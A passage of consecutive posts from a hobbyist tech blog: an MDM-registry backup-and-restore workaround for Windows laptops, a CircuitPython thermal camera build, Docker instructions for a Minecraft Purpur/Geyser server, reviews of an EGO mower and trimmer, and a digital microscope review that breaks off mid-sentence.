"AirWatchMDM" } if ($null -ne $AirwatchEnrollment) {     $AirwatchRegPath = $AirwatchEnrollment.Name     $AirwatchRegPath     $AirwatchEnrollment     reg export $AirwatchRegPath C:\Users\Public\MDMbackup.reg     reg delete $AirwatchRegPath /f     WMIC /Namespace:\\root\ccm path SMS_Client CALL ResetPolicy 1 /NOINTERACTIVE } And to restore (you can do this in either batch files or PowerShell, the restore script has no PowerShell specific commands): reg import C:\Users\Public\MDMbackup.reg WMIC /Namespace:\root\ccm path SMS_Client CALL ResetPolicy 1 /NOINTERACTIVE Conclusion Since we know that this issue is by design none of this stuff is a permanent fix. For most organizations it’s going to be best to roll it back until you can implement a more permanent solution. For most places this is going to be removing the MDM client from laptops and managing them differently. Until then hopefully this tool helps somebody work around this issue in a different way than I’ve really seen posted out there! #### DIY Open Source Handheld Battery Powered Thermal Camera DIY Battery Powered Thermal Camera I’ve been exploring using Adafruit Stemma QT to create really cool DIY prototypes without any soldering here on the site. It allows you to very quickly throw together prototypes and do testing for various ideas. I recently ordered a bunch of new Stemma QT devices including the Adafruit ESP32-S3 Reverse TFT Feather and a MLX90640 IR camera module that I wanted to turn into a DIY thermal camera. I wanted it to be small and battery powered. In this guide I’ll show you the parts I used to build it as well as the code. Let’s get started! Table of Contents Toggle Hardware UsedOverviewInstalling CircuitPython & LibrariesPython CodeConclusionOther Resources Hardware Used Adafruit ESP32-S3 Reverse TFT Feather The Adafruit ESP32-S3 Reverse TFT Feather has a built in screen, a Stemma QT port for connecting to other accessories as well as a integrated battery charging and monitoring circuit Links: Amazon.com*, Adafruit.com* Adafruit Thermal Camera Module MLX90640 A camera module using the MLX90640 sensor. Uses Stemma QT for plug and play with other Stemma QT / 4-pin I2C devices. Links: Amazon.com*, Adafruit.com Adafruit 350mAh Battery A 350 mAh from Adafruit that will come with the right polarity for the ESP32-S3 Reverse TFT Feather (and is a little bit smaller than the Feather) Links: Adafruit.com Overview First let’s take a look at all of the parts that make up the build: Thermal Camera – Components I basically have a small Adafruit 350mAh battery. You can use larger batteries if you would like. I just wanted to use one that was relatively the same size as the ESP32-S3 Reverse TFT feather itself and this was a good size for that. You don’t have to use a battery from Adafruit but I highly recommend it because otherwise sometimes the batteries will come with the wrong polarity (meaning the red and black wires are switched). Connecting a battery with the wrong polarity is one of the most common ways that beginners destroy their boards. The damage is catastrophic even from doing it once. I’ve done it before on a XAIO expansion board (and yes it killed it, several LEDs stopped working immediately and it kind of half worked for a while but eventually did die altogether with a nasty pop) so be careful with the battery polarity. Other than that I literally just used a cardboard box I had laying around that looked small enough. You could definitely 3D print something as well but I thought it would be fun to reuse some old packaging instead to make the project with. It’s certainly more environmentally friendly. This is all you need. There is no soldering. You don’t even need a box if you don’t want to. You can just use the camera module loose as well: Thermal Camera – Outside of Case (Loose) It’s fine. Not a problem at all. This is why I love the Adafruit Stemma QT line of gear so much. You can just plug and play all sorts of different components like this and really quickly break them down and reuse them whenever you’d like. Now let’s get started configuring it! Installing CircuitPython & Libraries First head to the download page for the ESP32-S3 Reverse TFT Feather here. Download the latest version as a .uf2. At time of writing that is 8.0.3. Next grab the latest Adafruit CircuitPython libraries at this page here. Download the Adafruit bundle for 8.x. Now we need to connect the Adafruit ESP32-S3 to your computer via USB and put it into boot loader mode. To put it in the right mode press the reset button and then press the “D0” button twice really quickly (which D0 is also the “BOOT” button on the ESP32-S3 reverse feather, it serves a dual purpose). If you did it right you should see this screen: ESP32-S3 Reverse TFT Boot Loader If you see that screen then you should see a new drive on your computer. Drag the .uf2 file we downloaded earlier onto the drive like this: Install CircuitPython Once it is finished the device should restart. If it doesn’t (and you’re sure it’s finished installing) then unplug the device and plug it back in. You should now see a “CIRCUITPY” drive. Now we are going to extract the .zip file you downloaded earlier with the Adafruit CircuitPython libraries. Extract the folder and inside there should be a lib folder: Adafruit CircuitPython Libraries – Extracted “lib” folder We are going to copy all of these files onto the CIRCUITPY drive. It should already have an empty “lib” folder (if it doesn’t create it). Copy all of these files from inside the “lib” folder to the CIRCUITPY “lib” folder. Once it’s finished you’re ready to update the code! Python Code Now open code.py from the CircuitPython drive. Use the following code: import time import board import busio import displayio import terminalio from adafruit_display_text.label import Label from simpleio import map_range import adafruit_mlx90640 number_of_colors = 64 # Number of color in the gradian last_color = number_of_colors - 1 # Last color in palette palette = displayio.Palette(number_of_colors) # Palette with all our colors color_A = [ [0, 0, 0], [0, 0, 255], [0, 255, 255], [0, 255, 0], [255, 255, 0], [255, 0, 0], [255, 255, 255], ] color_B = [[0, 0, 255], [0, 255, 255], [0, 255, 0], [255, 255, 0], [255, 0, 0]] color_C = [[0, 0, 0], [255, 255, 255]] color_D = [[0, 0, 255], [255, 0, 0]] color = color_B NUM_COLORS = len(color) def MakeHeatMapColor(): for c in range(number_of_colors): value = c * (NUM_COLORS - 1) / last_color idx1 = int(value) # Our desired color will be after this index. if idx1 == value: # This is the corner case red = color[idx1][0] green = color[idx1][1] blue = color[idx1][2] else: idx2 = idx1 + 1 # ... and before this index (inclusive). fractBetween = value - idx1 # Distance between the two indexes (0-1). red = int( round((color[idx2][0] - color[idx1][0]) * fractBetween + color[idx1][0]) ) green = int( round((color[idx2][1] - color[idx1][1]) * fractBetween + color[idx1][1]) ) blue = int( round((color[idx2][2] - color[idx1][2]) * fractBetween + color[idx1][2]) ) palette[c] = (0x010000 * red) + (0x000100 * green) + (0x000001 * blue) MakeHeatMapColor() # Bitmap for colour coded thermal value image_bitmap = displayio.Bitmap(32, 24, number_of_colors) # Create a TileGrid using the Bitmap and Palette image_tile = displayio.TileGrid(image_bitmap, pixel_shader=palette) # Create a Group for scaling image_group = displayio.Group(scale=5) image_group.append(image_tile) scale_bitmap = displayio.Bitmap(1, number_of_colors, number_of_colors) # Create a Group Scale must be 128 divided by number_of_colors scale_group = displayio.Group(scale=2) scale_tile = displayio.TileGrid(scale_bitmap, pixel_shader=palette, x=115, y=0) scale_group.append(scale_tile) for i in range(number_of_colors): scale_bitmap[0, i] = i # Fill the scale with the palette gradian # Create the super Group group = displayio.Group() min_label = Label(terminalio.FONT, color=palette[0], x=198, y=5) max_label = Label(terminalio.FONT, color=palette[last_color], x=198, y=120) # Add all the sub-group to the SuperGroup group.append(image_group) group.append(scale_group) group.append(min_label) group.append(max_label) # Add the SuperGroup to the Display board.DISPLAY.show(group) min_t = 20 # Initial minimum temperature range, before auto scale max_t = 37 # Initial maximum temperature range, before auto scale i2c = busio.I2C(board.SCL, board.SDA, frequency=800000) mlx = adafruit_mlx90640.MLX90640(i2c) print("MLX addr detected on I2C") print([hex(i) for i in mlx.serial_number]) # mlx.refresh_rate = adafruit_mlx90640.RefreshRate.REFRESH_2_HZ mlx.refresh_rate = adafruit_mlx90640.RefreshRate.REFRESH_4_HZ frame = [0] * 768 while True: stamp = time.monotonic() try: mlx.getFrame(frame) except ValueError: # these happen, no biggie - retry continue # print("Time for data aquisition: %0.2f s" % (time.monotonic()-stamp)) mini = frame[0] # Define a min temperature of current image maxi = frame[0] # Define a max temperature of current image for h in range(24): for w in range(32): t = frame[h * 32 + w] if t > maxi: maxi = t if t < mini: mini = t image_bitmap[w, (23 - h)] = int(map_range(t, min_t, max_t, 0, last_color)) min_label.text = "%0.2f" % (min_t) max_string = "%0.2f" % (max_t) max_label.text = max_string min_t = mini # Automatically change the color scale max_t = maxi I adapted this from the official Adafruit documentation here and updated it for this board (and made a few other changes). Conclusion It actually functions really well! I’m not sure what the battery life is but I’ve left it on for at least 30-45 minutes without it dying. I’m guessing with a larger battery it would last an incredibly long time (relatively speaking). Here’s an action shot: Thermal Camera – Testing on monitor Here you can clearly see the edge of the monitor (which is hot) against the back of my wall (cool). It shows you the temperature scales on the right hand side. These automatically adjust based on the sources within a sliding window. This was my first try with CircuitPython and I honestly liked it. I’ll definitely be doing more projects with the language here on the site. Stay tuned! Other Resources Don’t miss my guide on other Adafruit Stemma QT devices and using them with Arduino here I’ve also made a Adafruit IoT button project that can be used in Home Assistant here Check out my WiFi action key Adafruit single-key build here You can see all of my Adafruit related articles here #### Docker Minecraft Purpur Geyser Server Minecraft Geyser + Floodgate Purpur Minecraft Server This is a new Docker container to automatically set up and run a Minecraft server that both Java and Bedrock players can connect to! This allows everyone to play on your server no matter which edition of Minecraft you are using. This is the Purpur version. It uses the Geyser and Floodgate plugins to accomplish this. Since it uses the Purpur Minecraft server it also supports any additional plugins that are compatible with Purpur / Paper / Spigot. This gives you the ability to do many things that are currently impossible to do in Bedrock if you are hosting the official Bedrock dedicated server. It is fully compatible with my Paper Minecraft Java Server Container (as well as the Geyser + Floodgate version) and you can swap between these containers without changing any configuration. The official GitHub page is located here. The Docker Hub page for the container is located here. It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. Table of Contents Toggle FeaturesUsageConfiguration / Accessing Server FilesFile LocationsPlugin Support for Purpur / Paper / Spigot / BukkitTroubleshooting Note – Oracle Virtual MachinesTroubleshooting Note – Hyper-VBuy A Coffee / DonateAdditional Support Features Sets up fully operational Minecraft server that allows both Java and Bedrock clients to connect Runs the highly efficient “Purpur” Minecraft server Runs Geyser to allow Bedrock clients to connect and Floodgate to allow them to authenticate with their Bedrock credentials to a Java server Plugin support for Purpur / Paper / Spigot / Bukkit Uses named Docker volume for safe and easy to access storage of server data files (which enables more advanced Docker features such as automatic volume backups) Installs and configures OpenJDK 18 Automatic backups to minecraft/backups when server restarts Full logging available in minecraft/logs folder Updates automatically to the latest version when server is started Runs on all Docker platforms including Raspberry Pi Usage First you must create a named Docker volume. This can be done with: docker volume create yourvolumename Now you may launch the server and open the ports necessary with one of the following Docker launch commands. With default ports: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest With custom ports: docker run -it -v yourvolumename:/minecraft -p 12345:12345 -e Port=12345 -p 54321:54321/udp -p 54321:54321 -e BedrockPort=54321 --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest With a custom Minecraft version (add -e Version=1.X.X, must be present on Purpur’s API servers to work): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e Version=1.17.1 --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest With a maximum memory limit in megabytes (optional, prevents crashes on platforms with limited memory, -e MaxMemory=2048): docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e MaxMemory=2048 --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest Using a custom timezone: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e TZ="America/Denver" --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser Skipping backups on a certain folder: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e NoBackup="plugins" --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest Skipping permissions check: docker run -it -v yourvolumename:/minecraft -p 25565:25565 -p 19132:19132/udp -p 19132:19132 -e NoPermCheck="Y" --restart unless-stopped 05jchambers/legendary-minecraft-purpur-geyser:latest Configuration / Accessing Server Files The server data is stored where Docker stores your volumes. This is typically a folder on the host OS that is shared and mounted with the container. I’ll give the usual locations here but if you’re having trouble just do some Googling for your exact platform and you should find where Docker is storing the volume files. You can find your exact path by typing: docker volume inspect yourvolumename This will give you the fully qualified path to your volume like this: { "CreatedAt": "2022-05-09T21:08:34-06:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/yourvolumename/_data", "Name": "yourvolumename", "Options": {}, "Scope": "local" } On Linux it’s typically available at: /var/lib/docker/volumes/yourvolumename/_data On Windows it’s at C:\ProgramData\DockerDesktop but may be located at something more like \wsl$\docker-desktop-data\version-pack-data\community\docker\volumes\ if you are using WSL (Windows Subsystem for Linux). On Mac it’s typically ~/Library/Containers/com.docker.docker/Data/vms/0/ If you are using Docker Desktop on Mac then you need to access the Docker VM with the following command first: screen ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/tty You can then normally access the Docker volumes using the path you found in the first step with docker volume inspect. File Locations Most people will want to edit server.properties. You can make the changes to the file and then restart the container to make them effective. Backups are stored in the “backups” folder Log files with timestamps are stored in the “logs” folder. Plugin Support for Purpur / Paper / Spigot / Bukkit This is a “Purpur” Minecraft server which has plugin compatibility with Purpur / Paper / Spigot / Bukkit. Installation is simple. There is a “plugins” folder on your Docker named volume. Navigate to your server files on your host operating system (see accessing server files section if you don’t know where this is) and you will see the “plugins” folder. You just need to drop the extracted version of the plugin (a .jar file) into this folder and restart the container. That’s it! Some plugins have dependencies so make sure you read the installation guide first for the plugin you are looking at. A popular place to get plugins is: dev.bukkit.org Troubleshooting Note – Oracle Virtual Machines A very common problem people have with the Oracle Virtual Machine tutorials out there that typically show you how to use a free VM is that the VM is much more difficult to configure than just about any other product / offering out there.It is because there are several steps you need to take to open the ports on the Oracle VM. You need to both: Set the ingress ports (TCP/UDP) in the Virtual Cloud Network (VCN) security list *and* set the ingress ports in a Network Security Group assigned to your instance Both of these settings are typically required before you will be able to connect to your VM instance. This is purely configuration related and has nothing to do with the script or the Minecraft server itself. I do not recommend this platform due to the configuration difficulty but the people who have gone through the pain of configuring an Oracle VM have had good experiences with it after that point. Just keep in mind it’s going to be a rough ride through the configuration for most people. Troubleshooting Note – Hyper-V There is a weird bug in Hyper-V that breaks UDP connections on the Minecraft server. A workaround for this is that you have to use a Generation 1 VM with the Legacy LAN network driver. There is a second fix that was shared by bpsimons here. For that fix you need to install ethtool first with sudo apt install ethtool. Next in your /etc/network/interfaces file add “offload-tx off” to the bottom as the issue appears to be with TX offloading. Here’s an example: # The primary network interface auto eth0 iface eth0 inet static address 192.168.1.5 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 offload-tx off This can also be done non-persistently with the following ethtool command: ethtool -K eth0 tx off Buy A Coffee / Donate People have expressed some interest in this (you are all saints, thank you, truly) PayPal: 05jchambers@gmail.com Venmo: @JamesAChambers CashApp: $theremote Bitcoin (BTC): 3H6wkPnL1Kvne7dJQS8h7wB4vndB9KxZP7 Additional Support The comments section right here is the best place for support. The second best place is the GitHub issues section. I will add additional documentation based on what problems people are running into / questions people are asking because right now I’m not really sure what those will be yet. Definitely let me know if you need any of these things! #### EGO Power+ LM2156SP Review: A Powerful, Quiet (Mostly) Electric Mower EGO Electric Lawn Mower Review If you’re looking to ditch gas without sacrificing performance, the EGO LM2156SP self-propelled electric lawn mower* is one of the most compelling options on the market today. With impressive torque, long battery life, and user-friendly features, it’s built for homeowners who want a premium mowing experience (without the fumes, maintenance, or noise of traditional gas mowers). That said, no mower is perfect. While this one gets a lot right, there are a few quirks worth knowing about before you buy. Table of Contents Toggle Performance and Cutting PowerBattery Life and EfficiencyHardware ReviewedSelf-Propelled System: Convenient, but Not PerfectBuild Quality and Ease of UsePros and ConsProsConsTips and Tricks for Getting the Most Out of Your EGO LM2156SP1. Use the Right Blade for the Job2. Mow Regularly for Maximum Efficiency3. Adjust Self-Propel Speed Thoughtfully4. Avoid Wet Grass When Possible5. Store Batteries Indoors6. Clean the Deck Regularly7. Try Mowing Without Self-PropelOther AccessoriesFinal Verdict Performance and Cutting Power The LM2156SP delivers serious cutting performance thanks to its high-efficiency brushless motor and dual battery capability. Whether you’re dealing with thick grass, uneven terrain, or slightly overgrown lawns, it handles the job with ease. The “Select Cut” multi-blade system is a standout feature. You can swap blades depending on your needs: A high-lift blade for bagging A mulching blade for finer clippings An extended runtime blade for efficiency This flexibility gives you more control over your lawn’s finish than most cordless mowers. Battery Life and Efficiency EGO Mower ARC Lithium 56V Battery with charge indicator on top One of the biggest concerns with cordless tools is runtime. This mower largely puts those fears to rest. With the included 10.0Ah battery, you can typically mow a medium-to-large yard on a single charge. There is also a charge indicator on the top that you can press a button to activate but will also light up when you are mowing so you can look down and see the charge level at any time while mowing. This lets you monitor usage and adjust accordingly (such as if you’re getting low to stop using the self-propel to save power). Even better, the mower intelligently adjusts power output based on grass conditions. Light trimming uses less energy, while thicker patches automatically get more torque. Hardware Reviewed EGO Power+ Electric Lawn Mower, Self-Propelled Cordless with Select Cut, Includes (2) 56V 10.0Ah Batteries and 700W Turbo Charger* Self-Propelled System: Convenient, but Not Perfect The self-propelled feature is smooth and easy to control, with variable speed adjustment that feels natural while walking. However, there’s one noticeable downside:The drive system produces a high-pitched whirring sound (similar to a kid’s Power Wheels toy). In some cases, it can actually be louder than the blade itself. The good news? It’s purely cosmetic. It doesn’t affect performance at all, but it’s something you’ll definitely notice during use. Build Quality and Ease of Use EGO designed this mower with convenience in mind: One-touch folding for compact storage LED headlights for low-light mowing Adjustable deck height with a single lever Lightweight compared to gas alternatives It feels solid without being overly heavy, and setup is quick right out of the box. Pros and Cons Pros Strong cutting performance comparable to gas Excellent battery life Quiet operation (aside from self-propel noise) Versatile blade system Easy storage and handling Cons Self-propel motor makes a noticeable “toy-like” sound Premium price point Replacement batteries can be expensive Tips and Tricks for Getting the Most Out of Your EGO LM2156SP 1. Use the Right Blade for the Job Switching blades isn’t just a gimmick. Use the high-lift blade for bagging leaves and the mulching blade during regular mowing for a cleaner look. 2. Mow Regularly for Maximum Efficiency Keeping your grass at a consistent height reduces strain on the motor and extends battery life. 3. Adjust Self-Propel Speed Thoughtfully Running the self-propel at maximum speed drains the battery faster. Match it to your walking pace instead of pushing it to the limit. 4. Avoid Wet Grass When Possible Like most mowers, performance drops in wet conditions. You’ll get better results and longer runtime on dry grass. 5. Store Batteries Indoors Extreme heat or cold can shorten battery lifespan. Keep your battery in a temperature-controlled space when not in use. 6. Clean the Deck Regularly Grass buildup underneath can affect airflow and cutting efficiency. A quick clean after each mow goes a long way. If you let it build up you can expect it to look like this after a couple of seasons: My EGO Electric Mower with 2 seasons of buildup before cleaning And then after cleaning with a pressure washer (a relatively low pressure one, don’t overdo it): My EGO Electric Mower after cleaning (using the mulching blade) If you thought that the green paint on the blades had been damaged on the earlier pictures these are the exact same blades. It was just that dirty before washing! 7. Try Mowing Without Self-Propel On flat lawns, you may not need the drive system at all. Turning it off eliminates the extra noise and conserves battery. Other Accessories The mower comes with the mulching blade attached (below). EGO POWER+ 21″ Mulching Blades for Electric Lawn Mowers LM2133/LM2130/LM2135SP/LM2130SP/LM2156SP/LM2150SP* It also comes with one of the high lift bagging blades shown below: EGO POWER+ High-Lift Bagging Blade Set for 21″ Electric Lawn Mowers LM2130/LM2133/LM2130SP/LM2135SP/LM2150SP/LM2156SP* I ran the mulching blade for the first two seasons and then switched to the high lift bagging blade this year. It can be pretty convenient to have an extra battery (various sizes available but the 10.0Ah battery is very nice): EGO Mower ARC Lithium 56V Battery with charge indicator on top* Final Verdict The EGO LM2156SP is a top-tier cordless mower that delivers power, convenience, and versatility in a sleek package. It’s a great fit for homeowners who want a premium electric alternative to gas without compromising on performance. This is my third season with the mower and after a good cleaning and blade change it’s ready for the year! While the self-propel noise is a bit odd (and occasionally louder than expected) it’s a minor tradeoff in an otherwise excellent machine. If you can live with that quirk, this mower is one of the best investments you can make for a cleaner, quieter, and more efficient lawn care routine. If you have other devices in the same EGO family that have a compatible battery pack (I have an EGO trimmer as well as an EGO electric plow that are all compatible with the same packs) it will become an even better value! #### EGO ST1623T Review: Smartest String Trimmer You Can Buy? EGO POWER+ String Trimmer ST1623 Review One day I was wrestling with my old trimmer having to manually wind the spool. Most of the time I would end up winding it backwards somehow even though every time I tried to reverse it (from what I thought it should be) so it wouldn’t be backwards and it would anyway every single time. That’s when I decided to try something different. If you’ve ever wrestled with tangled trimmer line or struggled to reload a spool, the EGO ST1623T might feel like a game-changer. Built with innovative “LINE IQ” auto-feed technology and the brand’s signature “POWERLOAD” system, this cordless trimmer is designed to eliminate some of the most frustrating parts of yard work. It’s powerful, efficient, and packed with smart features. However, like any tool, it has a few quirks worth mentioning. Table of Contents Toggle Equipment UsedKey Features at a GlancePerformance and Cutting Power“LINE IQ”: Automatic Line Feeding That Actually Works“POWERLOAD”: The Self-Winding FeatureBuild Quality and ComfortPros and ConsProsConsTips and Tricks for Getting the Most Out of Your ST1623T1. Use Aftermarket Line2. Use High Speed Only When Needed3. Keep Extra Pre-Cut Line Handy4. Let “LINE IQ” Do Its Job5. Clean the Head Occasionally6. Adjust the Shaft to Your Height7. Extra BatteriesFinal Verdict Equipment Used EGO POWER+ String Trimmer, Battery Powered, 16″ Trimmer for Weeds and Grass with POWERLOAD, LINE IQ, Telescopic Carbon Fiber Shaft, Includes 56V 4.0Ah Battery and Charger – ST1623T* Key Features at a Glance 16-inch cutting swath for faster trimming “LINE IQ” auto-feed (no bumping required) “POWERLOAD” push-button line winding Telescopic carbon fiber shaft Brushless motor with variable speed control Up to ~60 minutes runtime with included battery Performance and Cutting Power The ST1623T delivers impressive cutting power for a cordless trimmer. Thick grass, weeds, and even light overgrowth are no problem thanks to its high-efficiency brushless motor. The 16-inch cutting width helps cover more ground quickly, making it a great option for medium to large yards. Combined with the .095″ professional-grade line, it feels much closer to a gas trimmer than most battery-powered alternatives: EGO ST1623T – Before Cleaning Above you can see a couple of seasons of caked on grass and that the trimmer cut through without any issue (don’t worry, we are going to clean it later in the review)! “LINE IQ”: Automatic Line Feeding That Actually Works One of the standout features is “LINE IQ”, which automatically feeds the line as needed. No bumping required! In real-world use, this makes trimming much smoother. You don’t have to stop, tap, or think about line length. It just keeps working. It’s especially helpful when edging or working around obstacles where constant interruptions would normally slow you down. “POWERLOAD”: The Self-Winding Feature EGO ST1623T – Wind / “POWERLOAD” Button This is where the ST1623T really shines. Instead of manually winding line (arguably the worst part of owning a string trimmer), you simply: Feed the line through the head Press a button Let the trimmer wind it for you That’s it. Now, to be fair it’s not completely foolproof. You need to get the line sections even to not waste a bunch of line (I’ll share some aftermarket line I use later to avoid having to worry about this). But even with that minor learning curve, it’s still dramatically easier than winding a spool by hand. Once you get the hang of it, it saves time and frustration every single time you reload. Build Quality and Comfort EGO uses a carbon fiber shaft here, which is both lightweight and extremely durable. It also features a telescopic design, so you can quickly adjust the length to fit your height. EGO ST1623T – Telescoping Shaft Other comfort-focused features include: Adjustable front handle Balanced weight distribution Variable speed trigger with a high/low setting It feels solid and well-built without being overly heavy, even during longer trimming sessions. Pros and Cons Pros Strong cutting performance (gas-like power) “LINE IQ” eliminates bump feeding “POWERLOAD” makes line replacement much easier Lightweight yet durable carbon fiber shaft Long runtime for a cordless tool Cons “POWERLOAD” can take a couple tries to get the hang of Higher price compared to basic trimmers Slight learning curve for new users Tips and Tricks for Getting the Most Out of Your ST1623T 1. Use Aftermarket Line The trimmer only comes with a small amount of replacement line that you will use relatively quickly. I had trouble even finding the replacement line but I no longer look after trying the aftermarket replacement. These are precut sections of line that look like this: EGO Aftermarket Trimmer String Replacement* Notice that it is different colors on each side? This makes it extremely easy to line up for the “POWERLOAD” feature to automatically load the trimmer. I have only bought one box of these since I got the trimmer in 2024 and my original box of replacements is still going strong! This is the exact line that is on all of my pictures in this review. 2. Use High Speed Only When Needed The high setting is great for thick weeds, but low speed is more efficient for regular trimming and extends battery life. 3. Keep Extra Pre-Cut Line Handy Using pre-cut line segments can make reloading faster and more consistent. 4. Let “LINE IQ” Do Its Job Avoid manually adjusting or overthinking line length. The system is designed to manage it automatically. 5. Clean the Head Occasionally Grass buildup can interfere with smooth operation. A quick clean keeps everything running properly. EGO ST1623T – After Cleaning (apologies to those with OCD that I missed a couple spots, it’s bugging me too) The picture above is right after I cleaned it for this season by blasting it with the hose! 6. Adjust the Shaft to Your Height The telescoping feature isn’t just a bonus. It reduces fatigue and improves control when set correctly. 7. Extra Batteries If you have a large yard having extra batteries helps a lot (at least one): EGO ARC Lithium 56V Battery with charge indicator on top* This becomes less of an issue if you get multiple EGO devices that share the same type of battery. At this point my mower, snow plow and trimmer are all using the same 56V EGO batteries but if you are just starting out having a spare really helps. Final Verdict The EGO ST1623T is one of the most advanced string trimmers available today. Between the “LINE IQ” auto-feed system and the “POWERLOAD” self-winding feature, it removes two of the biggest pain points in lawn care. Yes, the line-loading process can take a little finesse at first but compared to manually winding spools it’s a massive improvement. This is a trimmer that both winds itself and feeds itself for you once operational. If you want a powerful, low-maintenance, and genuinely smarter trimmer, this is one of the best options you can buy! I’ve also reviewed my EGO mower counterpart in this review here! #### Elikliv 7″ LCD Digital Microscope Review Elikliv 7″ LCD Digital Microscope Review Recently on the site I’ve been covering my journey exploring the world of microcontrollers. This has been a fun journey but it has required me to work with technology a lot smaller than what I’m used to working with. The boards I’m routinely working with now are so small I can barely see them and read the features on them. This has exposed some gaps in my tool set such as my former very poor quality soldering iron which I recently replaced with the Pinecil. That was only about a $40 upgrade from Amazon including shipping. Just today I received the Elikliv 7″ Digital Microscope. It’s one of the most popular selling digital microscopes on Amazon and it cost me less than $100. This was not something I wanted to spend a ton of money on. I only had one requirement. I wanted it to be able to take pictures / video so I could use them here on the site to show my readers what I’m working with on a scale I haven’t been able to in the past. This microscope claims to do just that! In this review I’ll cover the Elikliv 7″ digital microscope and tell you the pros / cons and whether it’s worth your money if you have a similar use case. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsIncluded AccessoriesAssemblyUsageTestingPros / ConsProsConsConclusionOther Resources Hardware Used Elikliv 7″ Digital Microscope The Elikliv 7″ LCD digital microscope (model EDM9) has a 12 megapixel imaging sensor and can zoom from 10x-1200x. It can capture pictures and video on the included SD card. It is great for PCBs, coins, and other small things while not breaking the bank Links: Amazon.com*, AliExpress*, *Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* CanaKit MicroUSB Power Supply 2.5A The CanaKit 2.5A micro USB power supply is meant for the Raspberry Pi but will provide plenty of power for the Elikliv digital microscope. Any power adapter that is 5V1A to 5V2A (recommended) will do though. Links: Amazon.com*, Amazon.ca* Specifications 7-inch Rotatable Full HD Screen: The digital microscope is equipped with a 7-inch high-definition display. Whether taking photos, videos, or image analysis and testing, it can observe more clearly, conveniently, and easily meet visual needs. The angle of the display screen can be adjusted to 90° front and rear. You can choose the most comfortable and suitable angle from the display. The adjustable angle of the large screen will provide you with a better visual experience. 10X – 1200X Magnification: Easy to zoom right in and out and focus by adjusting the knob to view the incredible details at a magnification range from 10X to 1200X. Raise or lower a microscope to adjust the distance between the camera and the objective. Larger view with the microscope on the top, and better details at the bottom. Support Real-time Viewing On PC: This 7-inch (about 17.8 cm) LCD digital microscope also supports real-time viewing. When connected to a computer via a USB cable, the object can be viewed on the computer monitor. The magnification effect is displayed on the large screen, which is convenient for many people to observe simultaneously. Only start the installed software when your microscope is connected to the computer and ready to observe. Height Adjustable Stand: The height-adjustable stand can adjust the distance between the camera and the object, making the object distance of this microscope longer than other microscopes. Because there is a certain amount of operating space when you use tweezers and electric iron under the microscope. The best object distance is 2 cm-10 cm. The distance to the object is 2 cm. As the distance increases, the magnification time will be shortened. 2 Additional Ancillary Lights: This digital USB microscope is equipped with 2 additional ancillary lights. When the light source is insufficient, the light source can be turned on to provide excellent details and the best sharpness and allows to capture of pictures or videos in the woods and some dark places. Save and Output Images and Videos: This LCD screen digital microscope is equipped with a Micro SD card slot. You can save the images and videos obtained during the observation process to the card and output. This microscope is equipped with a 32G Micro-SD card (maximum support 64G Micro SD card). Rechargeable Battery: Elikliv digital microscope is powered by a rechargeable battery (2.5 hours of working time) or directly via USB. On a sunny day, fully charge the micromirror, and then you can take your family or children to explore the magical and colorful miniature world. Truly portable and independent. Also Great for Adults: With the powerful camera sensor, practical functions, and metal construction, this microscope is also ideal for adults, repairing electronics, soldering PCBs, and doing experiments. Included Accessories The microscope comes with a 32GB micro SD card, a micro USB cable, a remote control and a anti-glare lens cover. It’s nice that they included the SD card with it. The most important thing to cover is what is not included and that is a charger. It will charge very slowly plugging it into most USB ports. It’s much better to charge it into a dedicated micro USB charger. Many people will have chargers for old cell phones or other devices that used to use micro USB laying around. Any of those power adapters will probably be worth checking to see if they output 5V 2A. You can still charge it from normal USB ports if you have to. It will just be very slow with most USB ports. A surprisingly comprehensive user manual is included as well. This is nice to see in 2023 as so many things are coming with something like a QR code to scan (or nothing). This has a full 28 page manual (all in English in the one I received). Lots of pictures too. I actually did refer to it several times while writing this guide. I’d encourage looking through it to see all of the different functions especially for configuration if you end up getting one. Assembly The Elikliv 7″ LCD digital microscope is incredibly easy to assemble. It basically comes in only a few large parts that all fit together. These are the base plate, the arm, and the LCD/microscope assembly respectively. Everything is tightened together using hand-tightened tension screws that hold everything in place. It’s extremely easy to assemble which is a plus. Very little actual assembly is required on your part. It’s more like fitting 3 large pieces together and then just tightening the knobs to hold them in place. Usage The first thing to know about using the microscope is that you need to do a long press on the power button to turn it on. A short press will light up the blue light for a moment and then it will turn red again. Once you long press it the microscope will turn on provided it has enough charge. Now you should be getting an image on the screen as soon as the microscope finishes starting up (should only take a few seconds). From here we would simply adjust the adjustable height up and down and then finally there is a manual focus knob to help focus the microscope. You can use the adjustable LED lights to light up the board however you’d like. You can adjust the two side lights from the base and the overhead lights from a control on the side of the LCD panel. The best way to configure the device is to use the included remote. If you press the the menu button (labeled M) you can go and set the time and date and do other configuration with the microscope. Testing Here are some of the images taken by the microscope. I only took these in 10MP resolution. It could have gone higher but I didn’t bother because I have to compress it for the web site anyway otherwise none of you will see this article within Google because it will be too large. In other words the microscope can take higher resolutions than I’m using here. For the first image I took a picture using the microscope looking at the same PCB I am in the picture at the beginning of the article: Microscope Camera Test – PCB (Adafruit Neopixel BFF 5×5) This is actually a Adafruit Neopixel 5×5 BFF board under the scope. At the bottom you can see the NeoPixels which you can tell are actually inside (or 